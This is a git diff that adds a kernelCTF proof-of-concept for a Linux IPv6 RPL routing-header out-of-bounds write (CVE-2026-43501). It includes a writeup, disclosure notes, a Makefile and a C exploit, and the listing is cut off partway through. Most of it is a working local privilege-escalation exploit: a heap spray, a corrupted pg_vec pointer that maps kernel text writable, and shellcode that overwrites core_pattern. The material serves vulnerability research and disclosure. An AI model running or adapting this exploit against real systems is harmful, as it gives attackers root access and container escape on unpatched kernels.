diff --git a/pocs/linux/kernelctf/CVE-2026-43501_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2026-43501_cos/docs/exploit.md new file mode 100644 index 000000000..955eb0736 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43501_cos/docs/exploit.md @@ -0,0 +1,183 @@ +# Vulnerability + +## Summary + +`ipv6_rpl_srh_rcv()` in `net/ipv6/exthdrs.c` processes incoming RPL type-3 routing headers. It decompresses the SRH, swaps the current segment into `ipv6_hdr(skb)->daddr`, recompresses, pulls the old header, then pushes the new IPv6 header and the recompressed SRH back. + +The bug is in when `pskb_expand_head()` is called: + +```c +skb_pull(skb, ((hdr->hdrlen + 1) << 3)); +... +if (unlikely(!hdr->segments_left)) { + if (pskb_expand_head(skb, + sizeof(struct ipv6hdr) + ((chdr->hdrlen + 1) << 3), + 0, GFP_ATOMIC)) + ... + oldhdr = ipv6_hdr(skb); +} +skb_push(skb, ((chdr->hdrlen + 1) << 3) + sizeof(struct ipv6hdr)); +skb_reset_network_header(skb); +skb_mac_header_rebuild(skb); +``` + +The expand only happens when `segments_left` hits zero. On an intermediate hop `segments_left` stays non-zero, but the recompressed SRH can still grow. The `skb_push()` then moves `data` to within `mac_len` bytes of `head`, or past it. `skb_mac_header_rebuild()` calls `skb_set_mac_header(skb, -skb->mac_len)`, the negative offset wraps in the 16-bit `skb->mac_header`, and the MAC `memmove()` writes out of bounds. This is a controllable OOB write, not the DoS the same path is known for. + +## Vulnerability Analysis + +### One step further from Route of Death (CVE-2023-2156) + +This is the same receive path as CVE-2023-2156 ("Route of Death"). The RPL SRH receive code was added in [`8610c7c6e3bd`](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=8610c7c6e3bd) ("ipv6: add rpl sr tunnel", v5.7), and the [original writeup](https://www.interruptlabs.co.uk/articles/linux-ipv6-route-of-death) covers the path with good figures for how the OOB happens. + +The 2023 fix only closed the `segments_left == 0` case. The intermediate-hop case was left open, and it is the more interesting one: the same `mac_header` wrap fires, except here it is no longer a `skb_under` panic, this time we can get a *controllable* **OOB write**. With the right packet setup the panic can be dodged and we can pivot the OOB write into LPE. It was finally fixed in [`9e6bf146b559`](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9e6bf146b559), affecting `v5.7-rc1` to `v7.1-rc1`. + +The path is reachable from an unprivileged user. It is gated by `net.ipv6.conf.*.rpl_seg_enabled`, which needs `CAP_NET_ADMIN`, but that capability is free inside a fresh user + network namespace. +> The `CONFIG_IPV6_RPL_LWTUNNEL` config is NOT necessary as if `CONFIG_IPV6` is enabled, the vulnerable code will be compiled into kernel. + +### Root cause + +`pskb_expand_head()` is called only when `segments_left` drops to zero, on the assumption that the recompressed SRH can only grow at the final hop. That assumption is wrong. On an intermediate hop, changing which segment gets swapped into `daddr` changes the shared prefix length between the last segment and `daddr`, which changes `CmprE`, which changes the recompressed size. + +When the recompressed SRH is larger, the following `skb_push()` leaves less headroom than `mac_len`. `skb_set_mac_header(skb, -skb->mac_len)` stores a negative value into the 16-bit `skb->mac_header`, it wraps to a large offset, and `skb_mac_header_rebuild()` memmoves `mac_len` bytes to that wrapped offset, writing before `head`. + +### Triggering the wrap + +The following SRH parameters produce a 16-byte growth: + +- `CmprI = 5`, `CmprE = 15` +- `N = 5` compressed segments +- `segments_left = 2` +- no padding + +Original SRH: + +```text +old_segdata_len = 5 * (16 - 5) + (16 - 15) = 56 +old_rh_len = 8 + 56 = 64 +``` + +`segments_left` after the decrement is 1, so the expand branch is skipped. The selected segment index is: + +```text +i = N - (segments_left - 1) = 4 +``` + +Two bytes of the compressed segment data are controlled: + +```c +rh->data[4 * (16 - CMPRI)] = 0x44; +rh->data[N * (16 - CMPRI)] = 0x77; +``` + +After the destination swap the last segment no longer shares the original 15-byte prefix with the new `daddr`. `CmprE` drops to 5, the compressed segment data grows to 66 bytes, and padding rounds the SRH to 80 bytes: 16 bytes of growth. + +Raw IPv6 with `IPV6_HDRINCL` on loopback puts the IPv6 header at `head + 16` (`hard_header_len = 14`, `LL_RESERVED_SPACE()` rounds to 16). On loopback receive `eth_type_trans()` leaves `skb->mac_len = 14`. The pull/push sequence then leaves: + +```text +final data - head = 16 + old_srh_len - new_srh_len = 16 - growth +``` + +To wrap `skb->mac_header`, `data - head` must be below 14. To pass the `skb_push()` underflow check it must be non-negative. SRH lengths are 8-byte aligned, so only two growth values are useful: + +```text +growth = 8 -> data - head = 8 -> mac_header = 0xfffa -> page offset ffa +growth = 16 -> data - head = 0 -> mac_header = 0xfff2 -> page offset ff2 +``` + +This exploit uses **growth = 16**, landing the wrapped write at page offset `ff2`. + +# Exploit + +## Exploit Summary + +- **prefetch** -> Leak the KASLR base (via KernelXDK). +- **CVE-2026-43501** -> Splice the high bytes of a kernel `.text` address into a TPACKET `pg_vec` pointer, keeping its low 16 bits. +- **pg_vec remap** -> `mmap()` the corrupted ring so the aliased pointer maps that kernel `.text` page RW into userspace, then we can overwrite a syscall path to our kernel shellcode. +- **core_pattern** -> Trigger the matching syscall, then finish from userspace. + +## Exploit Details + +### Shaping the OOB write into a pg_vec pointer + +The full packet is the trigger SRH with 2000 bytes of payload appended, which places the skb head in the allocation shape used for the overwrite: + +```text +IPv6 header = 40 +RPL SRH = 64 +payload = 2000 +total length = 2104 +``` + +The target is a TPACKET_V3 RX ring: + +```c +#define PAGE_NUM ((4096 - 8) / 8) // 511 +packet_socket_setup(0x1000, 2048, PAGE_NUM, 0, 10000); +``` + +`alloc_pg_vec()` allocates an array of `struct pgv`, one pointer per block. The array fits in a single page, so with `PAGE_NUM = 511` the last pointer `pg_vec[510]` starts at offset `0xff0`, leaving 8 bytes of tail slack. + +The ring map is one-shot: if 511 entries are allocated, mapping only a prefix is not possible. That's the main reason we choose offset `ff2` instead of `ffa`. A 14-byte MAC-header copy from `ff2` overwrites bytes 2..7 of `pg_vec[510].buffer`, splicing the destination MAC into the high bytes of the pointer while leaving its low 16 bits intact: + +```text +pg_vec[510].buffer: + byte 0 byte 1 byte 2 .. byte 7 + preserved preserved overwritten by the MAC bytes +``` + +> A copy from `ffa` would land entirely in the 8-byte slack past the object and corrupt nothing useful. + +The loopback hardware address carries the high bytes of the KASLR-adjusted text target: + +```c +target = leaked_base + 0x1e0000; +lo_addr_pattern[0] = target >> 16; +lo_addr_pattern[1] = target >> 24; +lo_addr_pattern[2] = 0xff; +lo_addr_pattern[3] = 0xff; +lo_addr_pattern[4] = 0xff; +lo_addr_pattern[5] = 0xff; +``` + +The netdevice setter forces the first MAC byte to a unicast, locally-administered value. In the chosen window that byte is `0x1e`, which already satisfies the rule, so no adjustment is needed. After the copy the pointer is: + +```text +before: [old0 old1 |old2 old3 | old4 old5 old6 old7] +after: [old0 old1 |target16 target24| 0xff 0xff 0xff 0xff] +``` + +### Patching a kernel .text page + +`pg_vec[i].buffer` is a kernel virtual address, and `packet_mmap()` resolves it through `virt_to_page()` and maps the backing physical page into userspace RW. Point the pointer at a kernel `.text` address and the `mmap()` hands back a writable alias of read-only kernel text. + +The preserved low 16 bits mean the aliased page is one of 16 4K pages in the 64K window at `leaked_base + 0x1e0000` (the page-aligned original buffer supplies bits 12..15, picking the page). To learn which one landed, WE read the first qword and match it against 16 known page signatures. + +Only **pages 0..8** are used. These are the nine pages that lie on a path reachable by a plain syscall, each with a fixed in-page patch offset: + +```text +page 0 -> 0xde0 -> pidfd_send_signal +page 1 -> 0xbe0 -> umask +page 2 -> 0x860 -> uname +page 3 -> 0x7f0 -> sysinfo +page 4 -> 0x100 -> setpriority +page 5 -> 0x6b0 -> prlimit64 +page 6 -> 0xd30 -> setuid +page 7 -> 0xea0 -> getrusage +page 8 -> 0x100 -> prctl +``` + +The remaining pages are dropped. Page 10 has no clean patch site, and pages 9 and 11..15 sit on workqueue / module-autoload code, which we found painful to write shellcode for them. + +The shellcode is 9 qwords (72 bytes) and position-independent. We used the `rdmsr` + `core_pattern` + `msleep` route from [CVE-2024-36972_lts_cos](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/docs/exploit.md#achieve-container-escape). After patching, the matching syscall is fired up to 20 times until `core_pattern` reads back the payload. + +## Disclosure Notes + +We sent this bug to `security@kernel.org` on February 22, 2026, with the root cause, the affected configuration, a full PoC, and shortly after, a patch draft. + +It did not get handled as a real-world bug. Part of the early discussion treated COS as out of scope. The exploit above runs on a stock COS image. + +Once the patch draft was on the table, the conversation moved to whether "serious" deployments would have user namespaces disabled anyway. That is not a valid triage argument for a memory corruption bug reachable from an unprivileged user via a fresh user and network namespace. + +The fix landed 60 days after our patch, on the back of a later report credited to Anthropic. The bug being fixed is what matters, and we are glad it is. We still think our patch handled the functionality side more cleanly, but that is a secondary point. + +What is harder to accept: a report with root cause, full PoC, and a patch draft had to wait for a second submission from a louder name before it moved. \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-43501_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2026-43501_cos/docs/vulnerability.md new file mode 100644 index 000000000..7d0fcc5b2 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43501_cos/docs/vulnerability.md @@ -0,0 +1,13 @@ +# Vulnerability Details + +- **Requirements**: + - **Capabilities**: `CAP_NET_ADMIN` + - **Kernel configuration**: `CONFIG_IPV6=y, CONFIG_IPV6_RPL_LWTUNNEL=y` + - **User namespaces required**: Yes +- **Introduced by**: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=8610c7c6e3bd647ff98d21c8bc0580e77bc2f8b3 +- **Fixed by**: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9e6bf146b55999a095bb14f73a843942456d1adc +- **Affected Version**: `v5.7-rc1 - v7.1-rc1` +- **Affected Component**: `net/ipv6: RPL source routing header receive path` +- **Syscall to disable**: `unshare` +- **Cause**: Out-of-bounds write +- **Description**: An out-of-bounds write vulnerability was discovered in the Linux kernel's IPv6 RPL routing-header receive path. `ipv6_rpl_srh_rcv()` can recompress a type-3 RPL Source Routing Header into a larger header while `segments_left` remains non-zero. The old code only expanded skb headroom when `segments_left` became zero, so the later `skb_push()` can leave less than `skb->mac_len` bytes before `skb->data`. `skb_mac_header_rebuild()` then wraps the 16-bit `skb->mac_header` offset and copies a 14-byte MAC header out of bounds. diff --git a/pocs/linux/kernelctf/CVE-2026-43501_cos/exploit/cos-121-18867.294.112/Makefile b/pocs/linux/kernelctf/CVE-2026-43501_cos/exploit/cos-121-18867.294.112/Makefile new file mode 100644 index 000000000..ed1d6a71a --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43501_cos/exploit/cos-121-18867.294.112/Makefile @@ -0,0 +1,36 @@ +CXX ?= g++ +CPPFLAGS ?= -Ikernel-research/libxdk/include +CXXFLAGS ?= -std=gnu++17 -static -O2 +LDFLAGS ?= -static -s -Lkernel-research/libxdk/lib +LDLIBS ?= -lkernelXDK + +TARGETS := exploit exploit_debug +SRC := exploit.c + +.PHONY: all prerequisites run clean + +all: prerequisites exploit + +prerequisites: target_db.kxdb kernel-research/libxdk/lib/libkernelXDK.a + +target_db.kxdb: + wget -O $@ https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb + +kernel-research: + git clone --depth 1 https://github.com/google/kernel-research.git $@ + +kernel-research/libxdk/lib/libkernelXDK.a: | kernel-research + cd kernel-research/libxdk && ./build.sh + +exploit: prerequisites $(SRC) + $(CXX) $(CPPFLAGS) $(CXXFLAGS) $(SRC) -o $@ $(LDFLAGS) $(LDLIBS) + +exploit_debug: CXXFLAGS += -g +exploit_debug: prerequisites $(SRC) + $(CXX) $(CPPFLAGS) $(CXXFLAGS) $(SRC) -o $@ $(LDFLAGS) $(LDLIBS) + +run: exploit + ./$< + +clean: + rm -rf $(TARGETS) target_db.kxdb kernel-research diff --git a/pocs/linux/kernelctf/CVE-2026-43501_cos/exploit/cos-121-18867.294.112/exploit b/pocs/linux/kernelctf/CVE-2026-43501_cos/exploit/cos-121-18867.294.112/exploit new file mode 100644 index 000000000..b4c69930a Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-43501_cos/exploit/cos-121-18867.294.112/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-43501_cos/exploit/cos-121-18867.294.112/exploit.c b/pocs/linux/kernelctf/CVE-2026-43501_cos/exploit/cos-121-18867.294.112/exploit.c new file mode 100644 index 000000000..42b39b661 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43501_cos/exploit/cos-121-18867.294.112/exploit.c @@ -0,0 +1,1115 @@ +#ifndef _GNU_SOURCE +#define _GNU_SOURCE +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +INCBIN(target_db, "target_db.kxdb"); +asm(".text"); + +#ifndef IPV6_SRCRT_TYPE_3 +#define IPV6_SRCRT_TYPE_3 3 +#endif +#ifndef MFD_EXEC +#define MFD_EXEC 0x0010U +#endif +#ifndef SYS_pidfd_send_signal +#define SYS_pidfd_send_signal 424 +#endif +#ifndef SYS_pidfd_open +#define SYS_pidfd_open 434 +#endif +#ifndef SYS_pidfd_getfd +#define SYS_pidfd_getfd 438 +#endif +#ifndef TPACKET_V3 +#define TPACKET_V3 2 +#endif + +#define SYSCHK(x) \ + ({ \ + typeof(x) __res = (x); \ + if (__res == (typeof(x))-1) \ + err(1, "SYSCHK(" #x ")"); \ + __res; \ + }) + +#define MAX_RETRY_COUNT 100 + +#define PAGE_SIZE 0x1000 +#define TEXT_PAGE_COUNT 16 +#define PATCH_PAGE_WINDOW_OFFSET 0x1e0000ULL + +#define CORE_PATTERN_PAYLOAD "|/proc/%P/fd/666" +#define SELF_COPY_MAX 0xffffffffU + +#define PATCH_SIZE 72 +#define PATCH_QWORDS (PATCH_SIZE / sizeof(uint64_t)) +#define PATCH_CORE_PATTERN_REL32_OFF 19 +#define PATCH_RET_OFF 56 +#define PATCH_RET_NOP_START_OFF 57 +#define PATCH_MSLEEP_REL32_OFF 66 +#define CORE_PATTERN_STORE_OFFSET 24 + +#define IPV6_ADDR_LEN 16 +#define RPL_BASE_HDR_LEN 8 +#define RPL_CMPRI 5 +#define RPL_CMPRE 15 +#define RPL_SEGMENT_COUNT 5 +#define RPL_SEGMENTS_LEFT 2 +#define RPL_PAD_LEN 0 +#define RPL_TRIGGER_SEGMENT_INDEX 4 +#define RPL_MINIMAL_SEND_COUNT 32 + +#define SPRAY_PG_VEC_NUM 150 +#define PGV_HOLE_COUNT 5 +#define EXPLOIT_PAYLOAD_LEN 2000 +#define EXPLOIT_PACKET_SEND_COUNT PGV_HOLE_COUNT +#define PGV_BLOCK_SIZE PAGE_SIZE +#define PGV_FRAME_SIZE 2048 +#define PGV_RETIRE_TIMEOUT_MS 10000 +#define PGV_PAGE_COUNT ((PAGE_SIZE - sizeof(uint64_t)) / sizeof(uint64_t)) + +#define PATCH_TRIGGER_RETRY_COUNT 20 +#define PATCH_TRIGGER_RETRY_DELAY_US 100000 +#define CORE_PATTERN_POLL_DELAY_US 100000 +#define ATTEMPT_TIMEOUT_SEC 30 + +static unsigned long long xdk_off_entry_syscall_64; +static unsigned long long xdk_off_core_pattern; +static unsigned long long xdk_off_msleep; +static unsigned long long xdk_off_patch_page; + +static uint8_t loopback_addr_pattern[6] = { + 0, 0, 0xff, 0xff, 0xff, 0xff, +}; + +static const unsigned long long text_page_signatures[TEXT_PAGE_COUNT] = { + 0xed840f0100000821, + 0xff08e9fffffff7c7, + 0x5e415d415c415dc1, + 0xffffffeac0c748ff, + 0xfffb38ae8d4902c2, + 0x243c814802c6e11c, + 0x188bb8b4c0000, + 0x4824048b48000188, + 0x417501f883410676, + 0x5bdf89480136ea3c, + 0x4818ec834853fc89, + 0x75ea394860438968, + 0xf406b8944302454, + 0xc2c74801247c8d48, + 0x2404c748c031, + 0x9090909090909090, +}; + +static const unsigned long long text_page_patch_offsets[TEXT_PAGE_COUNT] = { + 0xde0, + 0xbe0, + 0x860, + 0x7f0, + 0x100, + 0x6b0, + 0xd30, + 0xea0, + 0x100, + 0x1b0, + 0, + 0x610, + 0xb60, + 0x790, + 0xa20, + 0xc0, +}; + +static const unsigned char text_page_supported[TEXT_PAGE_COUNT] = { + 1, 1, 1, 1, 1, 1, 1, 1, + 1, 0, 0, 0, 0, 0, 0, 0, +}; + +static const unsigned char text_page_should_sleep[TEXT_PAGE_COUNT] = { + 1, 1, 1, 1, 1, 1, 1, 1, + 1, 0, 0, 0, 0, 0, 0, 0, +}; + +static const uint8_t core_pattern_patch_template[PATCH_SIZE] = { + 0x31, 0xd2, 0xb9, 0x82, 0x00, 0x00, 0xc0, 0x0f, + 0x32, 0x48, 0xc1, 0xe2, 0x20, 0x48, 0x01, 0xc2, + 0x48, 0x81, 0xc2, 0x00, 0x00, 0x00, 0x00, 0x48, + 0x87, 0xe2, 0x68, 0x20, 0x25, 0x50, 0x00, 0x48, + 0xb8, 0x50, 0x2f, 0x66, 0x64, 0x2f, 0x36, 0x36, + 0x36, 0x50, 0x48, 0xb8, 0x7c, 0x2f, 0x70, 0x72, + 0x6f, 0x63, 0x2f, 0x25, 0x50, 0x48, 0x87, 0xe2, + 0x48, 0xc7, 0xc7, 0x00, 0x00, 0x00, 0x07, 0x48, + 0x81, 0xea, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd2, +}; +static_assert(sizeof(core_pattern_patch_template) == PATCH_SIZE, + "unexpected patch stub length"); + +static unsigned char core_pattern_patch[PATCH_SIZE]; +static unsigned char core_pattern_patch_ret[PATCH_SIZE]; + +static int spray_pg_vec_fds[SPRAY_PG_VEC_NUM]; +static void *spray_pg_vec_maps[SPRAY_PG_VEC_NUM]; +static int spray_cmd_pipe[2]; +static int spray_status_pipe[2]; +static char spray_sync_byte; + +static const int pgv_hole_indices[PGV_HOLE_COUNT] = { + 55, 66, 77, 88, 99, +}; + +struct tpacket_req3 { + unsigned int tp_block_size; + unsigned int tp_block_nr; + unsigned int tp_frame_size; + unsigned int tp_frame_nr; + unsigned int tp_retire_blk_tov; + unsigned int tp_sizeof_priv; + unsigned int tp_feature_req_word; +}; + +struct ipv6_rpl_sr_hdr_wire { + uint8_t nexthdr; + uint8_t hdrlen; + uint8_t type; + uint8_t segments_left; + uint8_t cmpri_cmpre; + uint8_t pad_res; + uint16_t reserved1; + uint8_t data[]; +} __attribute__((packed)); + +static int core_pattern_is_payload(int verbose); + +static void die(const char *msg) +{ + perror(msg); + exit(1); +} + +static void die_msg(const char *msg) +{ + fprintf(stderr, "%s\n", msg); + exit(1); +} + +static void write_filef(const char *path, const char *fmt, ...) +{ + char buf[256]; + va_list ap; + int fd; + int len; + ssize_t nw; + + va_start(ap, fmt); + len = vsnprintf(buf, sizeof(buf), fmt, ap); + va_end(ap); + if (len < 0 || (size_t)len >= sizeof(buf)) + die_msg("vsnprintf failed"); + + fd = open(path, O_WRONLY | O_CLOEXEC); + if (fd < 0) + die(path); + + nw = write(fd, buf, (size_t)len); + if (nw != len) { + close(fd); + die(path); + } + + if (close(fd) < 0) + die("close"); +} + +static void write_all_or_die(int fd, const void *buf, size_t len) +{ + if (write(fd, buf, len) != (ssize_t)len) + die("write"); +} + +static void read_all_or_die(int fd, void *buf, size_t len) +{ + if (read(fd, buf, len) != (ssize_t)len) + die("read"); +} + +static void sync_signal_parent(void) +{ + write_all_or_die(spray_status_pipe[1], &spray_sync_byte, 1); +} + +static void sync_wait_parent(void) +{ + read_all_or_die(spray_cmd_pipe[0], &spray_sync_byte, 1); +} + +static void sync_signal_child(void) +{ + write_all_or_die(spray_cmd_pipe[1], &spray_sync_byte, 1); +} + +static void sync_wait_child(void) +{ + read_all_or_die(spray_status_pipe[0], &spray_sync_byte, 1); +} + +static void pin_to_cpu(int cpu) +{ + cpu_set_t set; + + if (cpu < 0) + return; + + CPU_ZERO(&set); + CPU_SET((unsigned int)cpu, &set); + SYSCHK(sched_setaffinity(0, sizeof(set), &set)); +} + +static void setup_target_offsets(Target &target) +{ + target.AddSymbol("entry_SYSCALL_64", 0x1600080ULL); + target.AddSymbol("core_pattern", 0x2fb3440ULL); + target.AddSymbol("patch_page", PATCH_PAGE_WINDOW_OFFSET); + + xdk_off_entry_syscall_64 = target.GetSymbolOffset("entry_SYSCALL_64"); + xdk_off_core_pattern = target.GetSymbolOffset("core_pattern"); + xdk_off_msleep = target.GetSymbolOffset("msleep"); + xdk_off_patch_page = target.GetSymbolOffset("patch_page"); +} + +static uint64_t leak_kaslr_base_xdk(void) +{ + try { + static TargetDb kxdb("target_db.kxdb", target_db); + Target target = kxdb.AutoDetectTarget(); + setup_target_offsets(target); + + uint64_t window_size = target.GetKernelPageCount(); + uint64_t base = leak_kaslr_base(window_size, 100, 3); + + printf("[.] Target: %s %s\n", target.GetDistro().c_str(), + target.GetReleaseName().c_str()); + printf("[.] KASLR window size: %llu pages\n", + (unsigned long long)window_size); + printf("[!] Leaked KASLR base: 0x%llx\n", + (unsigned long long)base); + return base; + } catch (const std::exception &e) { + fprintf(stderr, "[-] kernelXDK failed: %s\n", e.what()); + exit(1); + } +} + +static void payload_set_bytes(Payload &payload, size_t offset, + const uint8_t *src, size_t len) +{ + payload.Set(offset, (void *)src, len); +} + +static void build_sleeping_core_pattern_patch(Payload &payload) +{ + payload_set_bytes(payload, 0, core_pattern_patch_template, + PATCH_CORE_PATTERN_REL32_OFF); + payload.SetU32(PATCH_CORE_PATTERN_REL32_OFF, + (uint32_t)(xdk_off_core_pattern + + CORE_PATTERN_STORE_OFFSET - + xdk_off_entry_syscall_64)); + payload_set_bytes(payload, PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t), + &core_pattern_patch_template + [PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t)], + PATCH_MSLEEP_REL32_OFF - + (PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t))); + payload.SetU32(PATCH_MSLEEP_REL32_OFF, + (uint32_t)(xdk_off_core_pattern - xdk_off_msleep)); + payload_set_bytes(payload, PATCH_MSLEEP_REL32_OFF + sizeof(uint32_t), + &core_pattern_patch_template + [PATCH_MSLEEP_REL32_OFF + sizeof(uint32_t)], + PATCH_SIZE - + (PATCH_MSLEEP_REL32_OFF + sizeof(uint32_t))); +} + +static void build_returning_core_pattern_patch(Payload &payload) +{ + static const uint8_t ret_opcode = 0xc3; + uint8_t nops[PATCH_SIZE - PATCH_RET_NOP_START_OFF]; + + payload_set_bytes(payload, 0, core_pattern_patch_template, + PATCH_CORE_PATTERN_REL32_OFF); + payload.SetU32(PATCH_CORE_PATTERN_REL32_OFF, + (uint32_t)(xdk_off_core_pattern + + CORE_PATTERN_STORE_OFFSET - + xdk_off_entry_syscall_64)); + payload_set_bytes(payload, PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t), + &core_pattern_patch_template + [PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t)], + PATCH_RET_OFF - + (PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t))); + payload_set_bytes(payload, PATCH_RET_OFF, &ret_opcode, + sizeof(ret_opcode)); + memset(nops, 0x90, sizeof(nops)); + payload_set_bytes(payload, PATCH_RET_NOP_START_OFF, nops, sizeof(nops)); +} + +static void rip_build_core_pattern_patches(void) +{ + Payload sleeping_patch(PATCH_SIZE); + Payload returning_patch(PATCH_SIZE); + std::vector sleeping_patch_data; + std::vector returning_patch_data; + + build_sleeping_core_pattern_patch(sleeping_patch); + build_returning_core_pattern_patch(returning_patch); + + sleeping_patch_data = sleeping_patch.GetData(); + returning_patch_data = returning_patch.GetData(); + memcpy(core_pattern_patch, sleeping_patch_data.data(), PATCH_SIZE); + memcpy(core_pattern_patch_ret, returning_patch_data.data(), PATCH_SIZE); +} + +static void rip_trigger_module_autoload(void) +{ + for (int family = 40; family < 56; family++) { + int fd = socket(family, SOCK_STREAM | SOCK_CLOEXEC, 0); + + if (fd >= 0) + close(fd); + } +} + +static void rip_trigger_workqueue_activity(void) +{ + rip_trigger_module_autoload(); + sync(); +} + +static void rip_trigger_patch_page(int page) +{ + int pidfd; + struct rlimit oldlim; + struct rusage ru; + struct sysinfo si; + struct utsname u; + + switch (page) { + case 0: + pidfd = (int)syscall(SYS_pidfd_open, getpid(), 0); + if (pidfd >= 0) { + (void)syscall(SYS_pidfd_send_signal, pidfd, 0, + (siginfo_t *)NULL, 0); + close(pidfd); + } + break; + case 1: + (void)umask(022); + break; + case 2: + (void)uname(&u); + break; + case 3: + (void)sysinfo(&si); + break; + case 4: + (void)setpriority(PRIO_PROCESS, 0, 10); + break; + case 5: + (void)syscall(SYS_prlimit64, 0, RLIMIT_NOFILE, (void *)NULL, + &oldlim); + break; + case 6: + if (setuid(getuid()) < 0) + break; + break; + case 7: + (void)getrusage(RUSAGE_SELF, &ru); + break; + case 8: + (void)prctl(PR_SET_NAME, "hit_syscalls", 0, 0, 0); + break; + case 9: + case 11: + case 12: + case 13: + case 14: + case 15: + rip_trigger_workqueue_activity(); + break; + } +} + +static void spray_packet_rx_ring_init(int fd, unsigned int block_size, + unsigned int frame_size, + unsigned int block_nr, + unsigned int sizeof_priv, + unsigned int timeout) +{ + int version = TPACKET_V3; + struct tpacket_req3 req; + + SYSCHK(setsockopt(fd, SOL_PACKET, PACKET_VERSION, &version, + sizeof(version))); + + memset(&req, 0, sizeof(req)); + req.tp_block_size = block_size; + req.tp_frame_size = frame_size; + req.tp_block_nr = block_nr; + req.tp_frame_nr = (block_size * block_nr) / frame_size; + req.tp_retire_blk_tov = timeout; + req.tp_sizeof_priv = sizeof_priv; + + SYSCHK(setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req))); +} + +static int spray_packet_socket_setup(unsigned int block_size, + unsigned int frame_size, + unsigned int block_nr, + unsigned int sizeof_priv, + unsigned int timeout) +{ + int fd = SYSCHK(socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))); + struct sockaddr_ll sa; + + spray_packet_rx_ring_init(fd, block_size, frame_size, block_nr, + sizeof_priv, timeout); + + memset(&sa, 0, sizeof(sa)); + sa.sll_family = PF_PACKET; + sa.sll_protocol = htons(ETH_P_ALL); + sa.sll_ifindex = if_nametoindex("lo"); + SYSCHK(bind(fd, (struct sockaddr *)&sa, sizeof(sa))); + return fd; +} + +static void rip_patch_text_page(uint64_t *mapped_page, int page) +{ + const unsigned char *patch = text_page_should_sleep[page] ? + core_pattern_patch : + core_pattern_patch_ret; + size_t qword_offset = text_page_patch_offsets[page] / sizeof(uint64_t); + + printf("[+] Found a match at %d!\n", page); + if (!text_page_supported[page]) { + puts("[-] unexpected text-page match, retrying"); + return; + } + + printf("Patching at offset %llu\n", text_page_patch_offsets[page]); + for (size_t i = 0; i < PATCH_QWORDS; i++) { + uint64_t patch_qword; + + memcpy(&patch_qword, + &patch[i * sizeof(patch_qword)], + sizeof(patch_qword)); + mapped_page[qword_offset + i] = patch_qword; + } + + for (int i = 0; i < PATCH_TRIGGER_RETRY_COUNT; i++) { + rip_trigger_patch_page(page); + if (!text_page_should_sleep[page] && + core_pattern_is_payload(0)) + break; + usleep(PATCH_TRIGGER_RETRY_DELAY_US); + } + printf("Send win to parent...\n"); + sleep(12); +} + +static void spray_map_and_patch_pg_vec(void) +{ + for (int i = 0; i < SPRAY_PG_VEC_NUM; i++) { + uint64_t *mapped_page; + + if (!spray_pg_vec_fds[i]) + continue; + + spray_pg_vec_maps[i] = mmap(NULL, PGV_PAGE_COUNT * PAGE_SIZE, + PROT_READ | PROT_WRITE, MAP_SHARED, + spray_pg_vec_fds[i], 0); + if (spray_pg_vec_maps[i] == MAP_FAILED) + die("mmap(packet rx ring)"); + + mapped_page = (uint64_t *)((char *)spray_pg_vec_maps[i] + + (PGV_PAGE_COUNT - 1) * PAGE_SIZE); + for (int page = 0; page < TEXT_PAGE_COUNT; page++) { + if (mapped_page[0] == text_page_signatures[page]) + rip_patch_text_page(mapped_page, page); + } + } +} + +static void spray_pg_vec_child(void) +{ + pin_to_cpu(0); + + sync_wait_parent(); + for (int i = 0; i < SPRAY_PG_VEC_NUM; i++) { + spray_pg_vec_fds[i] = spray_packet_socket_setup( + PGV_BLOCK_SIZE, PGV_FRAME_SIZE, PGV_PAGE_COUNT, 0, + PGV_RETIRE_TIMEOUT_MS); + } + puts("pgv init done."); + sync_signal_parent(); + + sync_wait_parent(); + for (int i = 0; i < PGV_HOLE_COUNT; i++) { + int idx = pgv_hole_indices[i]; + + close(spray_pg_vec_fds[idx]); + spray_pg_vec_fds[idx] = 0; + } + puts("pgv free done."); + sync_signal_parent(); + + sync_wait_parent(); + spray_map_and_patch_pg_vec(); + puts("pgv spray done"); + sync_signal_parent(); + _exit(0); +} + +static void setup_loopback_up(void) +{ + int fd; + struct ifreq ifr; + + fd = socket(AF_INET, SOCK_DGRAM, 0); + if (fd < 0) + die("socket(AF_INET, SOCK_DGRAM)"); + + memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1); + + if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) { + close(fd); + die("ioctl(SIOCGIFFLAGS lo)"); + } + + ifr.ifr_flags |= IFF_UP | IFF_RUNNING; + if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) { + close(fd); + die("ioctl(SIOCSIFFLAGS lo)"); + } + + if (close(fd) < 0) + die("close"); +} + +static void netlink_addattr_l(struct nlmsghdr *nlh, size_t maxlen, int type, + const void *data, size_t alen) +{ + const size_t len = RTA_LENGTH(alen); + const size_t newlen = 